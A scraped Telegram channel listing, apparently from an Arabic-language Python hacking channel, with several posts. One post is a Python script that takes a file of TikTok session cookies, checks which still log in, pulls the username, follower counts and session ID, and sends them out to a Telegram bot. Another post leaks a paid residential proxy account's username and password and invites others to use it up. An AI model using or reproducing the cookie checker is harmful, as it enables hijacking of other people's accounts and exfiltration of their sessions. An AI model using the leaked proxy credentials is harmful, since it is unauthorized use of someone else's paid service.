ch
Feedback

不要被骗子欺骗!Telemetrio 会找到并标记这些频道 👉 如果想查看标记,请订阅

Арабский питон

Арабский питон

前往频道在 Telegram

Привет @durov Канал не нарушает правила Telegram. Нет спама, оскорблений, порнографии или нзаконной торговли. Пожалуйста, пересмотрите жалобы. Спасибо!

显示更多
4 589
订阅者
-1324 小时
+1227 天
+75130 天
帖子存档
شلون اسوي مجلد اخلي بيه فقك قنوات الي داخل بيه

import requests as rq
import re
import json
import urllib.parse
import base64
import os

tk = ""
id = ""

def p_ck(s):
    try:
        if "ct=" in s:
            p = urllib.parse.parse_qs(s)
            d = base64.b64decode(p['ct'][0] + '==').decode('utf-8')
            js = json.loads(d)
            return '; '.join([f"{i['name']}={i['value']}" for i in js['cookies']])
        if '\t' in s:
            l = [f"{n.split('\t')[4]}={n.split('\t')[5]}" for n in s.strip().split('\n') if len(n.split('\t')) >= 7]
            return '; '.join(l)
        if s.strip().startswith('['):
            js = json.loads(s)
            return '; '.join([f"{i['name']}={i['value']}" for i in js])
        return s
    except: return s

def check():
    fn = input("File: ").strip()
    if not os.path.exists(fn): return
    with open(fn, 'r') as f:
        cks = f.read().splitlines()

    for c in cks:
        if not c.strip(): continue
        cv = p_ck(c)
        hd = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Cookie': cv
        }
        try:
            r1 = rq.get('https://www.tiktok.com/setting', headers=hd, timeout=10)
            u_m = re.search(r'"uniqueId":"(.*?)"', r1.text)
            if u_m:
                user = u_m.group(1)
                r2 = rq.get(f'https://www.tiktok.com/@{user}', headers=hd, timeout=10)
                f_er = re.search(r'"followerCount":(\d+)', r2.text)
                f_ing = re.search(r'"followingCount":(\d+)', r2.text)
                sid = re.search(r'sessionid=(.*?)(;|$)', cv)
                
                u = user
                er = f_er.group(1) if f_er else '0'
                ing = f_ing.group(1) if f_ing else '0'
                sd = sid.group(1) if sid else 'N/A'                
                msg = f"USER: @{u}\nFOLLOWERS: {er}\nFOLLOWING: {ing}\nSESSION: {sd}"
                rq.get(f"https://api.telegram.org/bot{tk}/sendMessage?chat_id={id}&text={msg}")
                print(f"Good: @{u}")
            else:
                print("bad")
        except: print("ERR")

if __name__ == "__main__":
    check()
يفحص الك اذا كوكيز شغال او لا مال تيك توك web

تم
تم

سكرينات

هاتو تطبيقات بيه تجمع نقاط انستا تيك توك

import requests

username = "geonode_pnptdRU86u-type-residential"
password = "78ee087d-ae07-4d30-9a76-c89b989b6fe3"
GEONODE_DNS = "proxy.geonode.io:9000"
urlToGet = "http://ip-api.com"
proxy = {"http":"http://{}:{}@{}".format(username, password, GEONODE_DNS)}
r = requests.get(urlToGet , proxies=proxy)

print(proxy)
بروكسي 400GB احلبوه